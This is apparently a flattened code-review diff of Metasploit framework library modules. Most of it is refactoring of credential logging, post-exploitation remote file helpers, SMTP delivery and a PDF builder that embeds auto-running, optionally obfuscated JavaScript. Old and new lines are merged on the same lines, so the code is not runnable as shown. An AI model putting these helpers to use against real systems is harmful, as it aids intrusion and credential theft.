opts = { raise ArgumentError.new("Missing required option :host") if opts[:host].nil?
:workspace => myworkspace, raise ArgumentError.new("Missing required option :port") if (opts[:port].nil? and opts[:service].nil?)
:task => mytask
}.merge(opts) if opts[:host].kind_of?(::Mdm::Host)
framework.db.report_auth_info(opts) host = opts[:host].address
else
host = opts[:host]
end
type = :password
case opts[:type]
when "password"
type = :password
when "hash"
type = :nonreplayable_hash
when "ssh_key"
type = :ssh_key
end
case opts[:proto]
when "tcp"
proto = "tcp"
when "udp"
proto = "udp"
else
proto = "tcp"
end
if opts[:service] && opts[:service].kind_of?(Mdm::Service)
port = opts[:service].port
proto = opts[:service].proto
service_name = opts[:service].name
host = opts[:service].host.address
else
port = opts.fetch(:port)
service_name = opts.fetch(:sname, nil)
end
username = opts.fetch(:user, nil)
private = opts.fetch(:pass, nil)
service_data = {
address: host,
port: port,
service_name: service_name,
protocol: proto,
workspace_id: myworkspace_id
}
if self.type == "post"
credential_data = {
origin_type: :session,
session_id: session_db_id,
post_reference_name: self.refname
}
else
credential_data = {
origin_type: :service,
module_fullname: self.fullname
}
credential_data.merge!(service_data)
end
unless private.nil?
credential_data[:private_type] = type
credential_data[:private_data] = private
end
unless username.nil?
credential_data[:username] = username
end
credential_core = create_credential(credential_data)
login_data ={
core: credential_core,
status: Metasploit::Model::Login::Status::UNTRIED
}
login_data.merge!(service_data)
create_credential_login(login_data)
end end
def report_vuln(opts={}) def report_vuln(opts={})

View File

@ -13,18 +13,18 @@ module Msf::DBManager::IPAddress
end end
def rfc3330_reserved(ip) def rfc3330_reserved(ip)
case ip.class.to_s case ip
when "PacketFu::Octets" when PacketFu::Octets
ip_x = ip.to_x ip_x = ip.to_x
ip_i = ip.to_i ip_i = ip.to_i
when "String" when String
if ipv46_validator(ip) if ipv46_validator(ip)
ip_x = ip ip_x = ip
ip_i = Rex::Socket.addr_atoi(ip) ip_i = Rex::Socket.addr_atoi(ip)
else else
raise ArgumentError, "Invalid IP address: #{ip.inspect}" raise ArgumentError, "Invalid IP address: #{ip.inspect}"
end end
when "Fixnum" when Fixnum
if (0..2**32-1).include? ip if (0..2**32-1).include? ip
ip_x = Rex::Socket.addr_itoa(ip) ip_x = Rex::Socket.addr_itoa(ip)
ip_i = ip ip_i = ip
@ -58,4 +58,4 @@ module Msf::DBManager::IPAddress
end end
return ret return ret
end end
end end

View File

@ -224,12 +224,12 @@ module Exploit::CmdStager
def guess_flavor def guess_flavor
# First try to guess a compatible flavor based on the module & target information. # First try to guess a compatible flavor based on the module & target information.
unless target_flavor.nil? unless target_flavor.nil?
case target_flavor.class.to_s case target_flavor
when 'Array' when Array
return target_flavor[0].to_sym return target_flavor[0].to_sym
when 'String' when String
return target_flavor.to_sym return target_flavor.to_sym
when 'Symbol' when Symbol
return target_flavor return target_flavor
end end
end end
@ -283,12 +283,12 @@ module Exploit::CmdStager
# @return [Boolean] true if compatible, false otherwise. # @return [Boolean] true if compatible, false otherwise.
def compatible_flavor?(f) def compatible_flavor?(f)
return true if target_flavor.nil? return true if target_flavor.nil?
case target_flavor.class.to_s case target_flavor
when 'String' when String
return true if target_flavor == f.to_s return true if target_flavor == f.to_s
when 'Array' when Array
target_flavor.each { |tr| return true if tr.to_sym == f } target_flavor.each { |tr| return true if tr.to_sym == f }
when 'Symbol' when Symbol
return true if target_flavor == f return true if target_flavor == f
end end
false false

View File

@ -87,7 +87,7 @@ module Exploit::Java
raise RuntimeError, "Could not load rjb and/or the JVM: " + @java_error.to_s raise RuntimeError, "Could not load rjb and/or the JVM: " + @java_error.to_s
end end
if compile_options.class.to_s != "Array" && compile_options if !compile_options.is_a?(Array) && compile_options
raise RuntimeError, "Compiler options must be of type Array." raise RuntimeError, "Compiler options must be of type Array."
end end

View File

@ -123,7 +123,7 @@ module Exploit::Local::WindowsKernel
arch = target.opts['Arch'] if arch.nil? && target && target.opts['Arch'] arch = target.opts['Arch'] if arch.nil? && target && target.opts['Arch']
if arch.nil? && module_info['Arch'] if arch.nil? && module_info['Arch']
arch = module_info['Arch'] arch = module_info['Arch']
arch = arch[0] if arch.class.to_s == 'Array' and arch.length == 1 arch = arch[0] if arch.is_a?(Array) and arch.length == 1
end end
if arch.nil? if arch.nil?
print_error('Can not determine the target architecture') print_error('Can not determine the target architecture')

View File

@ -30,7 +30,7 @@ module Exploit::PDF
#Original Filters #Original Filters
## ##
def ASCIIHexWhitespaceEncode(str) def ascii_hex_whitespace_encode(str)
return str if not datastore['PDF::Obfuscate'] return str if not datastore['PDF::Obfuscate']
result = "" result = ""
whitespace = "" whitespace = ""
@ -44,7 +44,7 @@ module Exploit::PDF
## ##
#Filters from Origami parser #Filters from Origami parser
## ##
def RunLengthEncode(stream) def run_length_encode(stream)
eod = 128 eod = 128
result = "" result = ""
i = 0 i = 0
@ -85,7 +85,7 @@ module Exploit::PDF
result << eod.chr result << eod.chr
end end
def RandomNonASCIIString(count) def random_non_ascii_string(count)
result = "" result = ""
count.times do count.times do
result << (rand(128) + 128).chr result << (rand(128) + 128).chr
@ -93,7 +93,7 @@ module Exploit::PDF
result result
end end
def ASCII85Encode(stream) def ascii85_encode(stream)
eod = "~>" eod = "~>"
i = 0 i = 0
code = "" code = ""
@ -130,7 +130,7 @@ module Exploit::PDF
end end
# http://blog.didierstevens.com/2008/04/29/pdf-let-me-count-the-ways/ # http://blog.didierstevens.com/2008/04/29/pdf-let-me-count-the-ways/
def nObfu(str) def nobfu(str)
return str if not datastore['PDF::Obfuscate'] return str if not datastore['PDF::Obfuscate']
result = "" result = ""
@ -149,13 +149,13 @@ module Exploit::PDF
## ##
def header(version = '1.5') def header(version = '1.5')
hdr = "%PDF-#{version}" << eol hdr = "%PDF-#{version}" << eol
hdr << "%" << RandomNonASCIIString(4) << eol hdr << "%" << random_non_ascii_string(4) << eol
hdr hdr
end end
def add_object(num, data) def add_object(num, data)
@xref[num] = @pdf.length @xref[num] = @pdf.length
@pdf << ioDef(num) @pdf << io_def(num)
@pdf << data @pdf << data
@pdf << endobj @pdf << endobj
end end
@ -186,7 +186,7 @@ module Exploit::PDF
end end
def trailer(root_obj) def trailer(root_obj)
ret = "trailer" << nObfu("<</Size %d/Root " % (@xref.length + 1)) << ioRef(root_obj) << ">>" << eol ret = "trailer" << nobfu("<</Size %d/Root " % (@xref.length + 1)) << io_ref(root_obj) << ">>" << eol
ret ret
end end
@ -209,18 +209,18 @@ module Exploit::PDF
"endobj" << eol "endobj" << eol
end end
def ioDef(id) def io_def(id)
"%d 0 obj" % id "%d 0 obj" % id
end end
def ioRef(id) def io_ref(id)
"%d 0 R" % id "%d 0 R" % id
end end
## ##
#Controller funtion, should be entrypoint for pdf exploits #Controller funtion, should be entrypoint for pdf exploits
## ##
def CreatePDF(js) def create_pdf(js)
strFilter = "" strFilter = ""
arrResults = [] arrResults = []
numIterations = 0 numIterations = 0
@ -233,10 +233,10 @@ module Exploit::PDF
end end
for i in (0..numIterations-1) for i in (0..numIterations-1)
if i == 0 if i == 0
arrResults = SelectEncoder(js,arrEncodings[i],strFilter) arrResults = select_encoder(js,arrEncodings[i],strFilter)
next next
end end
arrResults = SelectEncoder(arrResults[0],arrEncodings[i],arrResults[1]) arrResults = select_encoder(arrResults[0],arrEncodings[i],arrResults[1])
end end
case datastore['PDF::Method'] case datastore['PDF::Method']
when 'PAGE' when 'PAGE'
@ -251,19 +251,19 @@ module Exploit::PDF
## ##
#Select an encoder and build a filter specification #Select an encoder and build a filter specification
## ##
def SelectEncoder(js,strEncode,strFilter) def select_encoder(js,strEncode,strFilter)
case strEncode case strEncode
when 'ASCII85' when 'ASCII85'
js = ASCII85Encode(js) js = ascii85_encode(js)
strFilter = "/ASCII85Decode"<<strFilter strFilter = "/ASCII85Decode"<<strFilter
when 'ASCIIHEX' when 'ASCIIHEX'
js = ASCIIHexWhitespaceEncode(js) js = ascii_hex_whitespace_encode(js)
strFilter = "/ASCIIHexDecode"<<strFilter strFilter = "/ASCIIHexDecode"<<strFilter
when 'FLATE' when 'FLATE'
js = Zlib::Deflate.deflate(js) js = Zlib::Deflate.deflate(js)
strFilter = "/FlateDecode"<<strFilter strFilter = "/FlateDecode"<<strFilter
when 'RUN' when 'RUN'
js = RunLengthEncode(js) js = run_length_encode(js)
strFilter = "/RunLengthDecode"<<strFilter strFilter = "/RunLengthDecode"<<strFilter
end end
return js,strFilter return js,strFilter
@ -277,10 +277,10 @@ module Exploit::PDF
@pdf = '' @pdf = ''
@pdf << header @pdf << header
add_object(1, nObfu("<</Type/Catalog/Outlines ") << ioRef(2) << nObfu("/Pages ") << ioRef(3) << ">>") add_object(1, nobfu("<</Type/Catalog/Outlines ") << io_ref(2) << nobfu("/Pages ") << io_ref(3) << ">>")
add_object(2, nObfu("<</Type/Outlines/Count 0>>")) add_object(2, nobfu("<</Type/Outlines/Count 0>>"))
add_object(3, nObfu("<</Type/Pages/Kids[") << ioRef(4) << nObfu("]/Count 1>>")) add_object(3, nobfu("<</Type/Pages/Kids[") << io_ref(4) << nobfu("]/Count 1>>"))
add_object(4, nObfu("<</Type/Page/Parent ") << ioRef(3) << nObfu("/MediaBox[%s %s %s %s] " % [rand(200),rand(200),rand(300),rand(300)]) << nObfu(" /AA << /O << /JS ") << ioRef(5) << nObfu("/S /JavaScript >>>>>>")) add_object(4, nobfu("<</Type/Page/Parent ") << io_ref(3) << nobfu("/MediaBox[%s %s %s %s] " % [rand(200),rand(200),rand(300),rand(300)]) << nobfu(" /AA << /O << /JS ") << io_ref(5) << nobfu("/S /JavaScript >>>>>>"))
compressed = js compressed = js
stream = "<</Length %s/Filter[" % compressed.length << strFilter << "]>>" << eol stream = "<</Length %s/Filter[" % compressed.length << strFilter << "]>>" << eol
stream << "stream" << eol stream << "stream" << eol
@ -301,10 +301,10 @@ module Exploit::PDF
@pdf << header @pdf << header
add_object(1, nObfu("<</Type/Catalog/Outlines ") << ioRef(2) << nObfu("/Pages ") << ioRef(3) << ">>") add_object(1, nobfu("<</Type/Catalog/Outlines ") << io_ref(2) << nobfu("/Pages ") << io_ref(3) << ">>")
add_object(2, nObfu("<</Type/Outlines/Count 0>>")) add_object(2, nobfu("<</Type/Outlines/Count 0>>"))
add_object(3, nObfu("<</Type/Pages/Kids[") << ioRef(4) << nObfu("]/Count 1>>")) add_object(3, nobfu("<</Type/Pages/Kids[") << io_ref(4) << nobfu("]/Count 1>>"))
add_object(4, nObfu("<</Type/Page/Parent ") << ioRef(3) << nObfu("/MediaBox[%s %s %s %s] " % [rand(200),rand(200),rand(300),rand(300)]) << nObfu(" /AA << /O << /JS ") << ioRef(5) << nObfu("/S /JavaScript >>>>>>")) add_object(4, nobfu("<</Type/Page/Parent ") << io_ref(3) << nobfu("/MediaBox[%s %s %s %s] " % [rand(200),rand(200),rand(300),rand(300)]) << nobfu(" /AA << /O << /JS ") << io_ref(5) << nobfu("/S /JavaScript >>>>>>"))
compressed = js compressed = js
stream = "<</Length %s/Filter[" % compressed.length << strFilter << "]>>" << eol stream = "<</Length %s/Filter[" % compressed.length << strFilter << "]>>" << eol
stream << "stream" << eol stream << "stream" << eol
@ -324,11 +324,11 @@ module Exploit::PDF
@pdf << header @pdf << header
add_object(1, nObfu("<</Type/Catalog/Outlines ") << ioRef(2) << nObfu("/Pages ") << ioRef(3) << ">>") add_object(1, nobfu("<</Type/Catalog/Outlines ") << io_ref(2) << nobfu("/Pages ") << io_ref(3) << ">>")
add_object(2, nObfu("<</Type/Outlines/Count 0>>")) add_object(2, nobfu("<</Type/Outlines/Count 0>>"))
add_object(3, nObfu("<</Type/Pages/Kids[") << ioRef(4) << nObfu("]/Count 1>>")) add_object(3, nobfu("<</Type/Pages/Kids[") << io_ref(4) << nobfu("]/Count 1>>"))
add_object(4, nObfu("<</Type/Page/Parent ") << ioRef(3) << nObfu("/MediaBox[%s %s %s %s] " % [rand(200),rand(200),rand(300),rand(300)]) << nObfu(" /Annots [") << ioRef(5) << nObfu("]>>")) add_object(4, nobfu("<</Type/Page/Parent ") << io_ref(3) << nobfu("/MediaBox[%s %s %s %s] " % [rand(200),rand(200),rand(300),rand(300)]) << nobfu(" /Annots [") << io_ref(5) << nobfu("]>>"))
add_object(5, nObfu("<</Type/Annot /Subtype /Screen /Rect [%s %s %s %s] /AA << /PO << /JS " % [rand(200),rand(200),rand(300),rand(300)]) << ioRef(6) << nObfu("/S /JavaScript >>>>>>")) add_object(5, nobfu("<</Type/Annot /Subtype /Screen /Rect [%s %s %s %s] /AA << /PO << /JS " % [rand(200),rand(200),rand(300),rand(300)]) << io_ref(6) << nobfu("/S /JavaScript >>>>>>"))
compressed = js compressed = js
stream = "<</Length %s/Filter[" % compressed.length << strFilter << "]>>" << eol stream = "<</Length %s/Filter[" % compressed.length << strFilter << "]>>" << eol
stream << "stream" << eol stream << "stream" << eol

View File

@ -26,6 +26,7 @@ module Exploit::Remote::SMTPDeliver
[ [
OptAddress.new("RHOST", [ true, "The SMTP server to send through" ]), OptAddress.new("RHOST", [ true, "The SMTP server to send through" ]),
OptPort.new("RPORT", [ true, "The SMTP server port (e.g. 25, 465, 587, 2525)", 25 ]), OptPort.new("RPORT", [ true, "The SMTP server port (e.g. 25, 465, 587, 2525)", 25 ]),
OptString.new('DATE', [false, 'Override the DATE: field with this value', '']),
OptString.new('MAILFROM', [ true, 'The FROM address of the e-mail', 'random@example.com' ]), OptString.new('MAILFROM', [ true, 'The FROM address of the e-mail', 'random@example.com' ]),
OptString.new('MAILTO', [ true, 'The TO address of the email' ]), OptString.new('MAILTO', [ true, 'The TO address of the email' ]),
OptString.new('SUBJECT', [ true, 'Subject line of the email' ]), OptString.new('SUBJECT', [ true, 'Subject line of the email' ]),
@ -140,6 +141,19 @@ module Exploit::Remote::SMTPDeliver
raw_send_recv("MAIL FROM: <#{datastore['MAILFROM']}>\r\n", nsock) raw_send_recv("MAIL FROM: <#{datastore['MAILFROM']}>\r\n", nsock)
raw_send_recv("RCPT TO: <#{datastore['MAILTO']}>\r\n", nsock) raw_send_recv("RCPT TO: <#{datastore['MAILTO']}>\r\n", nsock)
# If the user supplied a Date field, use that, else use the current
# DateTime in the proper RFC2822 format.
if datastore['DATE'].present?
raw_send_recv("Date: #{datastore['DATE']}\r\n", nsock)
else
raw_send_recv("Date: #{DateTime.now.rfc2822}\r\n", nsock)
end
# If the user supplied a Subject field, use that
if datastore['SUBJECT'].present?
raw_send_recv("Subject: #{datastore['SUBJECT']}\r\n", nsock)
end
resp = raw_send_recv("DATA\r\n", nsock) resp = raw_send_recv("DATA\r\n", nsock)
# Avoid sending tons of data and killing the connection if the server # Avoid sending tons of data and killing the connection if the server

View File

@ -84,7 +84,7 @@ module Exploit::Remote::SunRPC
rpcobj.pport = arr[5] rpcobj.pport = arr[5]
end end
def sunrpc_call(proc, buf, timeout = timeout) def sunrpc_call(proc, buf, timeout = timeout())
ret = rpcobj.call(proc, buf, timeout) ret = rpcobj.call(proc, buf, timeout)
raise ::Rex::Proto::SunRPC::RPCError, "#{rhost}:#{rport} - SunRPC - No response to SunRPC call for procedure: #{proc}" unless ret raise ::Rex::Proto::SunRPC::RPCError, "#{rhost}:#{rport} - SunRPC - No response to SunRPC call for procedure: #{proc}" unless ret

View File

@ -3,20 +3,26 @@
module Msf::Post::File module Msf::Post::File
# #
# Change directory in the remote session to +path+ # Change directory in the remote session to +path+, which may be relative or
# absolute.
# #
# @return [void]
def cd(path) def cd(path)
e_path = expand_path(path) rescue path
if session.type == "meterpreter" if session.type == "meterpreter"
e_path = session.fs.file.expand_path(path) rescue path
session.fs.dir.chdir(e_path) session.fs.dir.chdir(e_path)
else else
session.shell_command_token("cd '#{path}'") session.shell_command_token("cd \"#{e_path}\"")
end end
end end
# #
# Returns the current working directory in the remote session # Returns the current working directory in the remote session
# #
# @note This may be inaccurate on shell sessions running on Windows before
# XP/2k3
#
# @return [String]
def pwd def pwd
if session.type == "meterpreter" if session.type == "meterpreter"
return session.fs.dir.getwd return session.fs.dir.getwd
@ -51,6 +57,7 @@ module Msf::Post::File
# #
# See if +path+ exists on the remote system and is a directory # See if +path+ exists on the remote system and is a directory
# #
# @param path [String] Remote filename to check
def directory?(path) def directory?(path)
if session.type == "meterpreter" if session.type == "meterpreter"
stat = session.fs.file.stat(path) rescue nil stat = session.fs.file.stat(path) rescue nil
@ -60,7 +67,7 @@ module Msf::Post::File
if session.platform =~ /win/ if session.platform =~ /win/
f = cmd_exec("cmd.exe /C IF exist \"#{path}\\*\" ( echo true )") f = cmd_exec("cmd.exe /C IF exist \"#{path}\\*\" ( echo true )")
else else
f = session.shell_command_token("test -d '#{path}' && echo true") f = session.shell_command_token("test -d \"#{path}\" && echo true")
end end
return false if f.nil? or f.empty? return false if f.nil? or f.empty?
@ -72,6 +79,7 @@ module Msf::Post::File
# #
# Expand any environment variables to return the full path specified by +path+. # Expand any environment variables to return the full path specified by +path+.
# #
# @return [String]
def expand_path(path) def expand_path(path)
if session.type == "meterpreter" if session.type == "meterpreter"
return session.fs.file.expand_path(path) return session.fs.file.expand_path(path)
@ -83,6 +91,7 @@ module Msf::Post::File
# #
# See if +path+ exists on the remote system and is a regular file # See if +path+ exists on the remote system and is a regular file
# #
# @param path [String] Remote filename to check
def file?(path) def file?(path)
if session.type == "meterpreter" if session.type == "meterpreter"
stat = session.fs.file.stat(path) rescue nil stat = session.fs.file.stat(path) rescue nil
@ -95,7 +104,7 @@ module Msf::Post::File
f = cmd_exec("cmd.exe /C IF exist \"#{path}\\\\\" ( echo false ) ELSE ( echo true )") f = cmd_exec("cmd.exe /C IF exist \"#{path}\\\\\" ( echo false ) ELSE ( echo true )")
end end
else else
f = session.shell_command_token("test -f '#{path}' && echo true") f = session.shell_command_token("test -f \"#{path}\" && echo true")
end end
return false if f.nil? or f.empty? return false if f.nil? or f.empty?
@ -109,15 +118,16 @@ module Msf::Post::File
# #
# Check for existence of +path+ on the remote file system # Check for existence of +path+ on the remote file system
# #
# @param path [String] Remote filename to check
def exist?(path) def exist?(path)
if session.type == "meterpreter" if session.type == "meterpreter"
stat = session.fs.file.stat(path) rescue nil stat = session.fs.file.stat(path) rescue nil
return !!(stat) return !!(stat)
else else
if session.platform =~ /win/ if session.platform =~ /win/
f = cmd_exec("cmd.exe /C IF exist \"#{path}\" ( echo true )") f = cmd_exec("cmd.exe /C IF exist \"#{path}\" ( echo true )")
else else
f = session.shell_command_token("test -e '#{path}' && echo true") f = cmd_exec("test -e \"#{path}\" && echo true")
end end
return false if f.nil? or f.empty? return false if f.nil? or f.empty?
@ -126,31 +136,19 @@ module Msf::Post::File
end end
end end
#
# Remove a remote file
#
def file_rm(file)
if session.type == "meterpreter"
session.fs.file.rm(file)
else
if session.platform =~ /win/
session.shell_command_token("del \"#{file}\"")
else
session.shell_command_token("rm -f '#{file}'")
end
end
end
# #
# Writes a given string to a given local file # Writes a given string to a given local file
# #
def file_local_write(file2wrt, data2wrt) # @param local_file_name [String]
if not ::File.exists?(file2wrt) # @param data [String]
::FileUtils.touch(file2wrt) # @return [void]
def file_local_write(local_file_name, data)
unless ::File.exists?(local_file_name)
::FileUtils.touch(local_file_name)
end end
output = ::File.open(file2wrt, "a") output = ::File.open(local_file_name, "a")
data2wrt.each_line do |d| data.each_line do |d|
output.puts(d) output.puts(d)
end end
output.close output.close
@ -159,22 +157,27 @@ module Msf::Post::File
# #
# Returns a MD5 checksum of a given local file # Returns a MD5 checksum of a given local file
# #
def file_local_digestmd5(file2md5) # @param local_file_name [String] Local file name
if not ::File.exists?(file2md5) # @return [String] Hex digest of file contents
raise "File #{file2md5} does not exists!" def file_local_digestmd5(local_file_name)
else if ::File.exists?(local_file_name)
require 'digest/md5' require 'digest/md5'
chksum = nil chksum = nil
chksum = Digest::MD5.hexdigest(::File.open(file2md5, "rb") { |f| f.read}) chksum = Digest::MD5.hexdigest(::File.open(local_file_name, "rb") { |f| f.read})
return chksum return chksum
else
raise "File #{local_file_name} does not exists!"
end end
end end
# #
# Returns a MD5 checksum of a given remote file # Returns a MD5 checksum of a given remote file
# #
def file_remote_digestmd5(file2md5) # @note THIS DOWNLOADS THE FILE
data = read_file(file2md5) # @param file_name [String] Remote file name
# @return [String] Hex digest of file contents
def file_remote_digestmd5(file_name)
data = read_file(file_name)
chksum = nil chksum = nil
if data if data
chksum = Digest::MD5.hexdigest(data) chksum = Digest::MD5.hexdigest(data)
@ -185,22 +188,27 @@ module Msf::Post::File
# #
# Returns a SHA1 checksum of a given local file # Returns a SHA1 checksum of a given local file
# #
def file_local_digestsha1(file2sha1) # @param local_file_name [String] Local file name
if not ::File.exists?(file2sha1) # @return [String] Hex digest of file contents
raise "File #{file2sha1} does not exists!" def file_local_digestsha1(local_file_name)
else if ::File.exists?(local_file_name)
require 'digest/sha1' require 'digest/sha1'
chksum = nil chksum = nil
chksum = Digest::SHA1.hexdigest(::File.open(file2sha1, "rb") { |f| f.read}) chksum = Digest::SHA1.hexdigest(::File.open(local_file_name, "rb") { |f| f.read})
return chksum return chksum
else
raise "File #{local_file_name} does not exists!"
end end
end end
# #
# Returns a SHA1 checksum of a given remote file # Returns a SHA1 checksum of a given remote file
# #
def file_remote_digestsha1(file2sha1) # @note THIS DOWNLOADS THE FILE
data = read_file(file2sha1) # @param file_name [String] Remote file name
# @return [String] Hex digest of file contents
def file_remote_digestsha1(file_name)
data = read_file(file_name)
chksum = nil chksum = nil
if data if data
chksum = Digest::SHA1.hexdigest(data) chksum = Digest::SHA1.hexdigest(data)
@ -211,22 +219,27 @@ module Msf::Post::File
# #
# Returns a SHA256 checksum of a given local file # Returns a SHA256 checksum of a given local file
# #
def file_local_digestsha2(file2sha2) # @param local_file_name [String] Local file name
if not ::File.exists?(file2sha2) # @return [String] Hex digest of file contents
raise "File #{file2sha2} does not exists!" def file_local_digestsha2(local_file_name)
else if ::File.exists?(local_file_name)
require 'digest/sha2' require 'digest/sha2'
chksum = nil chksum = nil
chksum = Digest::SHA256.hexdigest(::File.open(file2sha2, "rb") { |f| f.read}) chksum = Digest::SHA256.hexdigest(::File.open(local_file_name, "rb") { |f| f.read})
return chksum return chksum
else
raise "File #{local_file_name} does not exists!"
end end
end end
# #
# Returns a SHA2 checksum of a given remote file # Returns a SHA2 checksum of a given remote file
# #
def file_remote_digestsha2(file2sha2) # @note THIS DOWNLOADS THE FILE
data = read_file(file2sha2) # @param file_name [String] Remote file name
# @return [String] Hex digest of file contents
def file_remote_digestsha2(file_name)
data = read_file(file_name)
chksum = nil chksum = nil
if data if data
chksum = Digest::SHA256.hexdigest(data) chksum = Digest::SHA256.hexdigest(data)
@ -238,6 +251,8 @@ module Msf::Post::File
# Platform-agnostic file read. Returns contents of remote file +file_name+ # Platform-agnostic file read. Returns contents of remote file +file_name+
# as a String. # as a String.
# #
# @param file_name [String] Remote file name to read
# @return [String] Contents of the file
def read_file(file_name) def read_file(file_name)
data = nil data = nil
if session.type == "meterpreter" if session.type == "meterpreter"
@ -246,19 +261,20 @@ module Msf::Post::File
if session.platform =~ /win/ if session.platform =~ /win/
data = session.shell_command_token("type \"#{file_name}\"") data = session.shell_command_token("type \"#{file_name}\"")
else else
data = session.shell_command_token("cat \'#{file_name}\'") data = session.shell_command_token("cat \"#{file_name}\"")
end end
end end
data data
end end
#
# Platform-agnostic file write. Writes given object content to a remote file. # Platform-agnostic file write. Writes given object content to a remote file.
# Returns Boolean true if successful
# #
# NOTE: *This is not binary-safe on Windows shell sessions!* # NOTE: *This is not binary-safe on Windows shell sessions!*
# #
# @param file_name [String] Remote file name to write
# @param data [String] Contents to put in the file
# @return [void]
def write_file(file_name, data) def write_file(file_name, data)
if session.type == "meterpreter" if session.type == "meterpreter"
fd = session.fs.file.new(file_name, "wb") fd = session.fs.file.new(file_name, "wb")
@ -281,6 +297,9 @@ module Msf::Post::File
# #
# NOTE: *This is not binary-safe on Windows shell sessions!* # NOTE: *This is not binary-safe on Windows shell sessions!*
# #
# @param file_name [String] Remote file name to write
# @param data [String] Contents to put in the file
# @return [void]
def append_file(file_name, data) def append_file(file_name, data)
if session.type == "meterpreter" if session.type == "meterpreter"
fd = session.fs.file.new(file_name, "ab") fd = session.fs.file.new(file_name, "ab")
@ -300,6 +319,9 @@ module Msf::Post::File
# Read a local file +local+ and write it as +remote+ on the remote file # Read a local file +local+ and write it as +remote+ on the remote file
# system # system
# #
# @param remote [String] Destination file name on the remote filesystem
# @param local [String] Local file whose contents will be uploaded
# @return (see #write_file)
def upload_file(remote, local) def upload_file(remote, local)
write_file(remote, ::File.read(local)) write_file(remote, ::File.read(local))
end end
@ -307,38 +329,54 @@ module Msf::Post::File
# #
# Delete remote files # Delete remote files
# #
# @param remote_files [Array<String>] List of remote filenames to
# delete
# @return [void]
def rm_f(*remote_files) def rm_f(*remote_files)
remote_files.each do |remote| remote_files.each do |remote|
if session.type == "meterpreter" if session.type == "meterpreter"
session.fs.file.delete(remote) if exist?(remote) session.fs.file.delete(remote) if exist?(remote)
else else
if session.platform =~ /win/ if session.platform =~ /win/
cmd_exec("del /q /f #{remote}") cmd_exec("del /q /f \"#{remote}\"")
else else
cmd_exec("rm -f #{remote}") cmd_exec("rm -f \"#{remote}\"")
end end
end end
end end
end end
alias :file_rm :rm_f
# #
# Rename a remote file. # Rename a remote file.
# #
# @param old_file [String] Remote file name to move
# @param new_file [String] The new name for the remote file
def rename_file(old_file, new_file) def rename_file(old_file, new_file)
if session.respond_to? :commands and session.commands.include?("stdapi_fs_file_move") if session.respond_to? :commands && session.commands.include?("stdapi_fs_file_move")
session.fs.file.mv(old_file, new_file) return (session.fs.file.mv(old_file, new_file).result == 0)
else else
if session.platform =~ /win/ if session.platform =~ /win/
cmd_exec(%Q|move /y "#{old_file}" "#{new_file}"|) if cmd_exec(%Q|move /y "#{old_file}" "#{new_file}"|) =~ /moved/
return true
else else
cmd_exec(%Q|mv -f "#{old_file}" "#{new_file}"|) return false
end end
else
if cmd_exec(%Q|mv -f "#{old_file}" "#{new_file}"|).empty?
return true
else
return false
end
end
end end
end end
alias :move_file :rename_file alias :move_file :rename_file
alias :mv_file :rename_file alias :mv_file :rename_file
protected protected
# #
# Meterpreter-specific file read. Returns contents of remote file # Meterpreter-specific file read. Returns contents of remote file
# +file_name+ as a String or nil if there was an error # +file_name+ as a String or nil if there was an error
@ -346,11 +384,12 @@ protected
# You should never call this method directly. Instead, call {#read_file} # You should never call this method directly. Instead, call {#read_file}
# which will call this if it is appropriate for the given session. # which will call this if it is appropriate for the given session.
# #
# @return [String]
def _read_file_meterpreter(file_name) def _read_file_meterpreter(file_name)
begin begin
fd = session.fs.file.new(file_name, "rb") fd = session.fs.file.new(file_name, "rb")
rescue ::Rex::Post::Meterpreter::RequestError => e rescue ::Rex::Post::Meterpreter::RequestError => e
print_error("Failed to open file: #{file_name}") print_error("Failed to open file: #{file_name}: #{e}")
return nil return nil
end end
@ -370,10 +409,11 @@ protected
# #
# Truncates if +append+ is false, appends otherwise. # Truncates if +append+ is false, appends otherwise.
# #
# You should never call this method directly. Instead, call #write_file or # You should never call this method directly. Instead, call {#write_file}
# #append_file which will call this if it is appropriate for the given # or {#append_file} which will call this if it is appropriate for the given
# session. # session.
# #
# @return [void]
def _write_file_unix_shell(file_name, data, append=false) def _write_file_unix_shell(file_name, data, append=false)
redirect = (append ? ">>" : ">") redirect = (append ? ">>" : ">")
@ -482,7 +522,7 @@ protected
# The first command needs to use the provided redirection for either # The first command needs to use the provided redirection for either
# appending or truncating. # appending or truncating.
cmd = command.sub("CONTENTS") { chunks.shift } cmd = command.sub("CONTENTS") { chunks.shift }
session.shell_command_token("#{cmd} #{redirect} '#{file_name}'") session.shell_command_token("#{cmd} #{redirect} \"#{file_name}\"")
# After creating/truncating or appending with the first command, we # After creating/truncating or appending with the first command, we
# need to append from here on out. # need to append from here on out.
@ -499,6 +539,7 @@ protected
# #
# Calculate the maximum line length for a unix shell. # Calculate the maximum line length for a unix shell.
# #
# @return [Fixnum]
def _unix_max_line_length def _unix_max_line_length
# Based on autoconf's arg_max calculator, see # Based on autoconf's arg_max calculator, see
# http://www.in-ulm.de/~mascheck/various/argmax/autoconf_check.html # http://www.in-ulm.de/~mascheck/various/argmax/autoconf_check.html

View File

@ -283,7 +283,7 @@ module Accounts
vprint_error("The system cannot find the file specified: #{dir}") vprint_error("The system cannot find the file specified: #{dir}")
return nil return nil
else else
vprint_error("Unknown error - GetLastError #{f['GetLastError']}: #{dir}") vprint_error("#{f['ErrorMessage']}: #{dir}")
return nil return nil
end end
@ -298,6 +298,8 @@ module Accounts
w = adv.AccessCheck(sd, token, "ACCESS_WRITE", gen_map, len, len, 4, 8) w = adv.AccessCheck(sd, token, "ACCESS_WRITE", gen_map, len, len, 4, 8)
if !w["return"] then return nil end if !w["return"] then return nil end
if w["GrantedAccess"] > 0 then result << "W" end if w["GrantedAccess"] > 0 then result << "W" end
result
end end
end # Accounts end # Accounts

View File

@ -90,7 +90,7 @@ module Msf::Post::Windows::Priv
uac = false uac = false
winversion = session.sys.config.sysinfo['OS'] winversion = session.sys.config.sysinfo['OS']
if winversion =~ /Windows (Vista|7|8|2008)/ if winversion =~ /Windows (Vista|7|8|2008|2012)/
unless is_system? unless is_system?
begin begin
enable_lua = registry_getvaldata( enable_lua = registry_getvaldata(

View File

@ -12,7 +12,7 @@ module Msf::Post::Windows::Runas
def shell_execute_exe(filename = nil, path = nil) def shell_execute_exe(filename = nil, path = nil)
exe_payload = generate_payload_exe exe_payload = generate_payload_exe
payload_filename = filename || Rex::Text.rand_text_alpha((rand(8) + 6)) + '.exe' payload_filename = filename || Rex::Text.rand_text_alpha((rand(8) + 6)) + '.exe'
payload_path = path || expand_path('%TEMP%') payload_path = path || get_env('TEMP')
